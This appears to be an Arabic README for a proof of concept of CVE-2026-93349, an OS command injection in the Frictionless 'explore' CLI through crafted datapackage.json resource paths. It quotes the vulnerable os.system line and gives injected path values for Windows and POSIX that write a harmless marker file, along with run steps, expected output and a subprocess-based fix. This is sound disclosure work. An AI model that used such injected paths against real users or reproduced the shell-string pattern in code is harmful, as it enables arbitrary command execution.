
إثبات مفهوم لـ CVE-2026-93349، وهو حقن أوامر في نظام التشغيل في Frictionless <= 5.20.0rc1 عبر واجهة سطر أوامر explore من خلال مسارات وصف حزمة البيانات الخبيثة.
<= 5.20.0rc1 exploreالخطورة: عالية، CVSS 3.1 8.8
المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
المتأثر: جميع إصدارات Frictionless <= 5.20.0rc1
المكوّن: frictionless.console.commands.explore
CWE: CWE-78 (حقن أوامر نظام التشغيل)، CWE-20 (التحقق غير السليم من المدخلات)
أبلغ عنه: Sai Teja Erukude
تحتوي إصدارات Frictionless حتى الإصدار التجريبي 5.20.0rc1 ضمناً على
ثغرة حقن أوامر نظام التشغيل في أمر CLI frictionless explore.
يقوم الأمر بتحميل وصف Data Package المقدَّم من المستخدم، ويجمع مسارات الموارد، ويستخرج ، ويدمج تلك المسارات في سلسلة أمر واحدة، ثم يمرر تلك السلسلة مباشرة إلى :
resource.normpathos.systempaths = [resource.normpath for resource in resources if resource.normpath]
os.system(f"vd {' '.join(paths)}")
نظراً لأن resources[*].path هي بيانات وصفية يتحكم بها الوصف من
datapackage.json، يمكن للمهاجم تضمين محارف shell الوصفية في مسار
المورد. عندما يشغّل الضحية frictionless explore على الوصف الخبيث،
يفسّر الـ shell تلك المحارف الوصفية وينفّذ الأمر المحقون.
قد ينفّذ المهاجم أوامر عشوائية في سياق الأمان الخاص بالمستخدم الذي
يشغّل frictionless explore.
قد يؤثر ذلك على سير العمل حيث يقوم المستخدمون بفحص أو التحقق من أو استكشاف أوصاف Data Package من مشاريع أو أرشيفات أو مستودعات أو مجموعات بيانات مشتركة غير موثوقة.
اعتماداً على البيئة المحلية، قد يسمح ذلك بما يلي:
المسار المعرّض للثغرة هو أمر explore:
frictionless explore <package>
-> Package.from_descriptor(...)
-> Resource.list()
-> resource.normpath
-> os.system(f"vd {' '.join(paths)}")
يولّد PoC وصف Data Package حيث يحتوي resources[0].path على حمولة
كتابة ملف علامة غير ضارة.
على Windows، يستخدم المسار المولَّد فواصل الأوامر &:
data.csv & echo frictionless_explore_command_injection_triggered>"...\marker.txt" & rem
على أنظمة POSIX، يستخدم المسار المولَّد فواصل الأوامر المنقوطة:
data.csv; printf %s frictionless_explore_command_injection_triggered > .../marker.txt; #
يستدعي المشغّل أمر frictionless explore الحقيقي من الحزمة المثبَّتة.
يقوم بمسح PATH للعملية الفرعية حتى لا يُشغَّل عارض vd المقصود
تفاعلياً، لكن الأمر المحقون يظل يُنفَّذ عندما يحلّل الـ shell سلسلة
الأمر المُنشأة.
package_builder.py ينشئ وصف Data Package الذي
يتحكم به المهاجم وملف CSV حميد.
run_poc.py يتحقق من صحة الوصف، ويستدعي
frictionless explore، ويطبع أدلة التنفيذ.
شغّله في بيئة اختبار محلية فقط:
python -m venv .venv
.venv\Scripts\activate
python -m pip install -r requirements.txt
python -B run_poc.py
ملف requirements.txt المضمَّن يثبّت frictionless==5.20.0rc1، وهو
أحدث إصدار تجريبي مؤكَّد إصابته بالثغرة في هذا النطاق.
الأدلة المتوقعة على الإصدارات المعرّضة للثغرة:
frictionless_version : 5.20.0rc1
installed_package : True
descriptor_valid : True
listed_resource_count : 1
raw_path_contains_payload : True
normpath_contains_payload : True
explore_returncode : 0
viewer_launch_disabled : True
marker_exists : True
marker_contents
frictionless_explore_command_injection_triggered
success : True
الدليل المهم هو أن الوصف الخبيث صالح، وأن المسار الذي يتحكم به الوصف
ينجو حتى resource.normpath، وأن marker.txt يُنشأ بعد تشغيل
frictionless explore.
الحمولة غير ضارة عن قصد. فهي تكتب فقط سلسلة العلامة المحلية هذه:
frictionless_explore_command_injection_triggered
وهي لا تفتح جلسة shell، ولا تتصل بخدمة شبكية، ولا تقرأ أسراراً، ولا تحذف بيانات، ولا تعدّل ملفات خارج دليل PoC.
تجنّب تمرير مسارات يتحكم بها الوصف إلى shell.
استبدل الاستدعاء المعتمد على shell بـ subprocess.run باستخدام متجه
وسائط:
subprocess.run(["vd", *paths], check=False)
يمرّر هذا كل مسار مورد كوسيطة حرفية إلى vd. تبقى محارف shell الوصفية
داخل المسار محارف عادية داخل مدخل argv الواحد هذا ولا تُنفَّذ.
القائمة السوداء لمحارف مسار محددة أضعف لأن صيغة shell تختلف عبر المنصات والأصداف. حدود استدعاء الأمر هي السبب الجذري، لذا يجب أن يتجنب الإصلاح الدائم تفسير الـ shell.
راجع fix.md للحصول على تصحيح مقترح.
اكتُشفت وأُبلغ عنها بواسطة Sai Teja Erukude، بالتنسيق عبر VulnCheck.
exploit_walkthrough.mdfix.md